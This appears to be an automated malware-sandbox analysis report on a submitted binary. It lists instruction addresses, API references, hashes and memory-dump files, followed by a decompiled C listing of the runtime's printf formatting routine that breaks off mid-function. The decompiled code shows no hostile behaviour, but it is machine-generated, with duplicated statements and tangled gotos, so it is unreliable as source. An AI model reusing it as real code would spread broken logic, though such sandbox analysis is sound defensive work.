0x0043c25a
0x0043c24a
0x0043c269
0x0043c26c
0x0043c26f
0x0043c272
0x0043c275
0x0043c278
0x0043c27e
0x0043c284
0x0043c28c
0x0043c28d
0x0043c290
0x0043c291
0x0043c294
0x0043c295
0x0043c29c
0x0043c29d
0x0043c2a0
0x0043c2a1
0x0043c2a4
0x0043c2a5
0x0043c2ab
0x0043c2ac
0x0043c2bb
0x0043c2bd
0x0043c2c3
0x0043c2c3
0x0043c2c8
0x0043c2ca
0x0043c2ce
0x0043c2d0
0x0043c2d8
0x0043c2d9
0x0043c2dc
0x0043c2dd
0x0043c2ec
0x0043c2ee
0x0043c2ee
0x0043c2ce
0x0043c2f1
0x0043c2f8
0x0043c2fb
0x0043c300
0x0043c300
0x0043c306
0x0043c308
0x0043c310
0x0043c311
0x0043c314
0x0043c315
0x0043c323
0x0043c325
0x0043c325
0x0043c306
0x0043c328
0x0043c32b
0x0043c32e
0x0043c331
0x0043c336
0x0043c33b
0x0043c33e
0x0043c341
0x0043c341
0x0043c344
0x0043c344
0x0043c347
0x0043c353
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x00000000
0x0043c670
0x0043c1f7
0x0043c1f7
0x0043c1fe
0x0043c201
0x00000000
0x00000000
0x0043c203
0x0043c203
0x00000000
0x0043c203
0x0043c1e8
0x0043c1e8
0x00000000
0x00000000
0x0043be48
0x0043be48
0x0043be53
0x0043be5b
0x0043be62
0x0043be65
0x0043be65
0x0043be68
0x0043bec8
0x0043be6a
0x0043be71
0x0043be77
0x0043be7d
0x0043be84
0x0043be87
0x0043be8d
0x0043be95
0x0043be97
0x0043be9e
0x0043bea5
0x0043beac
0x0043beb4
0x0043beb6
0x0043beb8
0x0043beb8
0x0043bebf
0x0043becf
0x0043bed5
0x0043bed8
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x00000000
0x0043c35b
0x0043c35e
0x0043c361
0x0043c364
0x0043c3e2
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c4a2
0x0043c4a7
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c487
0x0043c48c
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c461
0x0043c466
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c445
0x0043c44a
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c418
0x0043c41d
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3f0
0x0043c3f5
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x00000000
0x0043c0ba
0x0043c0ba
0x0043c0c6
0x0043c0cc
0x0043c0d1
0x0043c0d3
0x0043c17d
0x0043c17d
0x0043c180
0x0043c180
0x0043c183
0x0043c197
0x0043c19d
0x0043c1a3
0x0043c185
0x0043c185
0x0043c18b
0x0043c192
0x0043c192
0x0043c1a5
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c670
0x0043c0d9
0x0043c0d9
0x0043c0d9
0x0043c0db
0x0043c0e9
0x0043c0dd
0x0043c0dd
0x0043c0dd
0x0043c0f3
0x0043c0f9
0x0043c0ff
0x0043c106
0x0043c108
0x0043c10d
0x0043c10f
0x0043c114
0x0043c119
0x0043c11b
0x0043c120
0x0043c123
0x0043c126
0x0043c128
0x0043c128
0x0043c126
0x0043c129
0x0043c130
0x0043c178
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c132
0x0043c132
0x0043c137
0x0043c153
0x0043c15b
0x0043c165
0x0043c168
0x0043c16d
0x00000000
0x0043c16d
0x00000000
0x00000000
0x00000000
0x0043c376
0x0043c376
0x00000000
0x00000000
0x0043bf8d
0x0043bf8d
0x0043bf91
0x0043bf9f
0x0043bfa2
0x0043bf93
0x0043bf93
0x0043bf93
0x0043bfa8
0x0043bfae
0x0043bfb4
0x0043bfc0
0x0043bfc6
0x0043bfc6
0x0043bfc9
0x0043c051
0x0043c051
0x0043c055
0x0043c057
0x0043c05d
0x0043c05d
0x0043c060
0x0043c067
0x0043c06a
0x0043c070
0x0043c070
0x0043c070
0x0043c076
0x0043c07c
0x0043c07f
0x0043c085
0x0043c087
0x00000000
0x00000000
0x0043c089
0x0043c089
0x0043c08f
0x0043c092
0x0043c094
0x00000000
0x00000000
0x0043c096
0x0043c09c
0x0043c09f
0x0043c09f
0x0043c0a7
0x0043c0a7
0x0043c0ad
0x0043c0ad
0x0043c0b2
0x00000000
0x0043bfcf
0x0043bfcf
0x0043bfcf
0x0043bfd3
0x0043bfd5
0x0043bfda
0x0043bfda
0x0043bfdd
0x0043bfe0
0x0043bfe6
0x0043bff8
0x0043bff8
0x0043bff8
0x0043bffb
0x0043c001
0x00000000
0x00000000
0x0043c003
0x0043c003
0x0043c009
0x0043c00c
0x0043c00e
0x00000000
0x00000000
0x0043c010
0x0043c010
0x0043c019
0x0043c01f
0x0043c023
0x0043c02b
0x0043c02d
0x0043c02f
0x0043c035
0x0043c035
0x0043c038
0x0043c038
0x0043c044
0x0043c047
0x0043bfef
0x0043bff2
0x0043bff2
0x0043bff5
0x0043bff5
0x0043c04f
0x0043c0b5
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x0043c670
0x00000000
0x0043c36d
0x0043c36d
0x0043c3e2
0x0043c3e2
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c4a2
0x0043c4a7
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c487
0x0043c48c
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c461
0x0043c466
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c445
0x0043c44a
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c418
0x0043c41d
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3f0
0x0043c3f5
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x00000000
0x0043c4be
0x00000000
0x0043c389
0x0043c389
0x0043c393
0x0043c393
0x0043c39d
0x0043c39d
0x0043c3a3
0x0043c3a5
0x0043c3aa
0x0043c3b4
0x0043c3b4
0x0043c3b7
0x0043c3bb
0x0043c3bb
0x0043c3e2
0x0043c3e2
0x0043c3e5
0x0043c3ea
0x0043c40c
0x0043c40c
0x0043c412
0x0043c434
0x0043c437
0x0043c47e
0x0043c47e
0x0043c481
0x0043c4a2
0x0043c4a7
0x0043c4aa
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c487
0x0043c48c
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43c
0x0043c43f
0x0043c461
0x0043c466
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c445
0x0043c44a
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c418
0x0043c41d
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3f0
0x0043c3f5
0x0043c3f8
0x0043c3fe
0x0043c3fe
0x0043c4bb
0x0043c4be
0x00000000
0x00000000
0x00000000
0x0043c4be
0x00000000
0x0043c670
0x0043c670
0x0043c670
0x0043c674
0x00000000
0x00000000
0x00000000
0x0043c674
0x00000000
0x00000000
0x0043bbf9
0x0043bbf9
0x0043bbfc
0x0043bbff
0x00000000
0x00000000
0x0043bc04
0x0043bc07
0x0043bc0d
0x00000000
0x00000000
0x0043bbee
0x0043bbf1
0x0043bbf4
0x00000000
0x00000000
0x0043bbe3
0x0043bbe6
0x0043bbe9
0x00000000
0x00000000
0x0043bc12
0x0043bc12
0x0043bc15
0x0043bc15
0x0043bc18
0x00000000
0x00000000
0x0043bc1b
0x00000000
0x00000000
0x0043ba8b
0x0043ba8b
0x0043ba8d
0x0043ba9b
0x0043ba8f
0x0043ba8f
0x0043ba8f
0x0043baab
0x0043bab8
0x0043baba
0x0043babf
0x0043bac1
0x0043bac6
0x0043bacb
0x0043bacd
0x0043bad2
0x0043bad8
0x0043bada
0x0043bada
0x0043bad8
0x0043badb
0x0043bae2
0x00000000
0x0043bae4
0x0043bae9
0x0043bb05
0x0043bb0d
0x0043bb1a
0x0043bb1f
0x0043c934
0x0043c941
0x0043c941
0x0043bae2
0x0043ba85
0x0043c870
0x0043c870
0x0043c877
0x0043c88e
0x0043c88e
0x0043c898
0x0043c898
0x0043c89e
0x0043c8a4
0x0043c8ab
0x0043c8ad
0x0043c8b2
0x0043c8b4
0x0043c8b9
0x0043c8be
0x0043c8c0
0x0043c8c5
0x0043c8c8
0x0043c8cb
0x0043c8cd
0x0043c8cd
0x0043c8cb
0x0043c8ce
0x0043c8d5
0x0043c920
0x0043c929
0x0043c92e
0x0043c8d7
0x0043c8dc
0x0043c8f8
0x0043c900
0x0043c90d
0x0043c912
0x0043c912
0x00000000
0x0043c8d5
0x0043c879
0x0043c879
0x0043c880
0x00000000
0x00000000
0x0043c882
0x0043c882
0x00000000
0x0043c882
0x0043c670
0x0043c647
0x0043c647
0x0043c64b
0x0043c658
0x0043c65e
0x0043c664
0x0043c66a
0x0043c66a
0x0043c66d
0x00000000
0x0043c66d
0x0043c64d
0x0043c653
0x0043c656
0x00000000
0x00000000
0x00000000
0x0043c656
0x0043c5ac
0x0043c5af
0x0043c5b9
0x0043c5c8
0x0043c5d1
0x0043c5e7
0x0043c5ed
0x0043c5f3
0x0043c5fa
0x0043c602
0x0043c602
0x0043c608
0x0043c608
0x0043c617
0x0043c61f
0x0043c58e
0x0043c594
0x0043c597
0x0043c59a
0x0043c59c
0x00000000
0x00000000
0x00000000
0x0043c59c
0x0043c58e
0x0043c4cb
0x0043c4cb
0x0043c4d2
0x00000000
0x00000000
0x00000000
0x0043c500
0x0043c506
0x0043c512
0x00000000
0x0043c512
0x0043c3e2

APIs

_get_int64_arg.LIBCMTD ref: 0043C3F0
__aullrem.LIBCMT ref: 0043C5C0
__aulldiv.LIBCMT ref: 0043C5E2

Strings

9, xrefs: 0043C5F3

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction ID: 46473df4e1e969a29b487169e025c8d43f8953179f393ba568ccddfacbbea1e0
Opcode Fuzzy Hash: 828065c44f52bbca850a73a1038411070d97aa975b0d7d71c076135a5f064beb
Instruction Fuzzy Hash: 4841F6B1E10129AFDB24CF58C881BAEB7B5FF89314F10519AD149B7241D738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004350CB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E004350CB(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t609;
				signed int _t645;
				signed int _t647;
				signed int _t649;
				signed int _t656;
				signed int _t696;
				intOrPtr _t697;
				intOrPtr _t698;
				signed int _t699;
				void* _t701;
				void* _t702;
				signed int _t710;

				L0:
				while(1) {
					L0:
					_t698 = __esi;
					_t697 = __edi;
					_t645 = __edx;
					_t589 = __ebx;
					 *(_t699 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t699 - 0x10) & 0x00008000) == 0) {
									_t647 =  *(_t699 - 0x10) & 0x00001000;
									if(_t647 == 0) {
										if(( *(_t699 - 0x10) & 0x00000020) == 0) {
											_t649 =  *(_t699 - 0x10) & 0x00000040;
											if(_t649 == 0) {
												_t496 = E004284A0(_t699 + 0x14);
												_t702 = _t701 + 4;
												 *(_t699 - 0x2b8) = _t496;
												 *(_t699 - 0x2b4) = 0;
											} else {
												_t580 = E004284A0(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t580;
												 *(_t699 - 0x2b4) = _t649;
											}
										} else {
											_t696 =  *(_t699 - 0x10) & 0x00000040;
											if(_t696 == 0) {
												_t581 = E004284A0(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t699 - 0x2b4) = _t696;
											} else {
												_t584 = E004284A0(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t584;
												 *(_t699 - 0x2b4) = _t696;
											}
										}
									} else {
										_t587 = E004284C0(_t699 + 0x14);
										_t702 = _t701 + 4;
										 *(_t699 - 0x2b8) = _t587;
										 *(_t699 - 0x2b4) = _t647;
									}
								} else {
									_t588 = E004284C0(_t699 + 0x14);
									_t702 = _t701 + 4;
									 *(_t699 - 0x2b8) = _t588;
									 *(_t699 - 0x2b4) = _t645;
								}
								if(( *(_t699 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t699 - 0x2c0) =  *(_t699 - 0x2b8);
									 *(_t699 - 0x2bc) =  *(_t699 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t710 =  *(_t699 - 0x2b4);
									if(_t710 > 0 || _t710 >= 0 &&  *(_t699 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t699 - 0x2c0) =  ~( *(_t699 - 0x2b8));
										 *(_t699 - 0x2bc) =  ~( *(_t699 - 0x2b4));
										 *(_t699 - 0x10) =  *(_t699 - 0x10) | 0x00000100;
										L171:
										if(( *(_t699 - 0x10) & 0x00008000) == 0 && ( *(_t699 - 0x10) & 0x00001000) == 0) {
											 *(_t699 - 0x2bc) =  *(_t699 - 0x2bc) & 0x00000000;
										}
										if( *(_t699 - 0x30) >= 0) {
											 *(_t699 - 0x10) =  *(_t699 - 0x10) & 0xfffffff7;
											if( *(_t699 - 0x30) > 0x200) {
												 *(_t699 - 0x30) = 0x200;
											}
										} else {
											 *(_t699 - 0x30) = 1;
										}
										if(( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
											 *(_t699 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t699 - 4)) = _t699 - 0x49;
										while(1) {
											L181:
											_t655 =  *(_t699 - 0x30) - 1;
											 *(_t699 - 0x30) =  *(_t699 - 0x30) - 1;
											if( *(_t699 - 0x30) <= 0 && ( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t656 =  *(_t699 - 0x2c0);
											 *((intOrPtr*)(_t699 - 0x2ac)) = E004308C0(_t656,  *(_t699 - 0x2bc),  *(_t699 - 8), _t655) + 0x30;
											asm("cdq");
											 *(_t699 - 0x2c0) = E00430940( *(_t699 - 0x2c0),  *(_t699 - 0x2bc),  *(_t699 - 8), _t656);
											 *(_t699 - 0x2bc) = _t656;
											if( *((intOrPtr*)(_t699 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t699 - 0x2ac)) =  *((intOrPtr*)(_t699 - 0x2ac)) +  *((intOrPtr*)(_t699 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) =  *((intOrPtr*)(_t699 - 0x2ac));
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t699 - 0x24)) = _t699 - 0x49 -  *((intOrPtr*)(_t699 - 4));
										 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) + 1;
										if(( *(_t699 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t699 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t699 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) = 0x30;
											 *((intOrPtr*)(_t699 - 0x24)) =  *((intOrPtr*)(_t699 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t699 - 0x28)) != 0) {
																			L216:
																			if( *(_t699 - 0x20) != 0) {
																				L0041C510( *(_t699 - 0x20), 2);
																				_t702 = _t702 + 8;
																				 *(_t699 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																				_t663 =  *(_t699 - 0x251);
																				 *(_t699 + 0xc) =  *(_t699 + 0xc) + 1;
																				if( *(_t699 - 0x251) == 0 ||  *(_t699 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t699 - 0x251) < 0x20 ||  *(_t699 - 0x251) > 0x78) {
																						 *(_t699 - 0x310) = 0;
																					} else {
																						 *(_t699 - 0x310) =  *( *(_t699 - 0x251) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t699 - 0x250) =  *(_t699 - 0x310);
																				_t525 =  *(_t699 - 0x250) * 9;
																				_t609 =  *(_t699 - 0x25c);
																				_t663 = ( *(_t525 + _t609 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t699 - 0x25c) = ( *(_t525 + _t609 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t699 - 0x25c) != 8) {
																					L16:
																					 *(_t699 - 0x318) =  *(_t699 - 0x25c);
																					if( *(_t699 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t699 - 0x318) * 4 +  &M004356A0))) {
																						case 0:
																							L18:
																							 *(_t699 - 0xc) = 0;
																							_t528 = E00431350( *(_t699 - 0x251) & 0x000000ff, E0041AE20(_t699 - 0x40));
																							_t705 = _t702 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00428330( *(_t699 - 0x251) & 0x000000ff,  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t702 = _t705 + 0xc;
																								goto L218;
																							} else {
																								E00428330( *((intOrPtr*)(_t699 + 8)),  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t705 = _t705 + 0xc;
																								_t614 =  *( *(_t699 + 0xc));
																								 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																								_t663 =  *(_t699 + 0xc) + 1;
																								 *(_t699 + 0xc) = _t663;
																								asm("sbb eax, eax");
																								 *(_t699 - 0x27c) =  ~( ~( *(_t699 - 0x251)));
																								if(_t663 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E350();
																									_t705 = _t705 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t699 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422E40(_t614))) = 0x16;
																									E00422BD0(_t589, _t614, _t697, _t698, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t699 - 0x2f4) = 0xffffffff;
																									E0041ADF0(_t699 - 0x40);
																									_t518 =  *(_t699 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t72 = __ecx + 0x4356d8; // 0x498d04
																							__edx =  *_t72 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M004356C0))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t96 = __ecx - 0x30; // -48
																								__edx = __eax + _t96;
																								 *(__ebp - 0x18) = __eax + _t96;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t107;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t115 = __ecx + 0x435700; // 0x4f0e9003
																							__edx =  *_t115 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M004356EC))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t699 - 0x314) = 0;
																					} else {
																						 *(_t699 - 0x314) = 1;
																					}
																					_t616 =  *(_t699 - 0x314);
																					 *(_t699 - 0x278) =  *(_t699 - 0x314);
																					if( *(_t699 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E350();
																						_t702 = _t702 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t699 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E40(_t616))) = 0x16;
																						E00422BD0(_t589, _t616, _t697, _t698, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t699 - 0x2f0) = 0xffffffff;
																						E0041ADF0(_t699 - 0x40);
																						_t518 =  *(_t699 - 0x2f0);
																						L229:
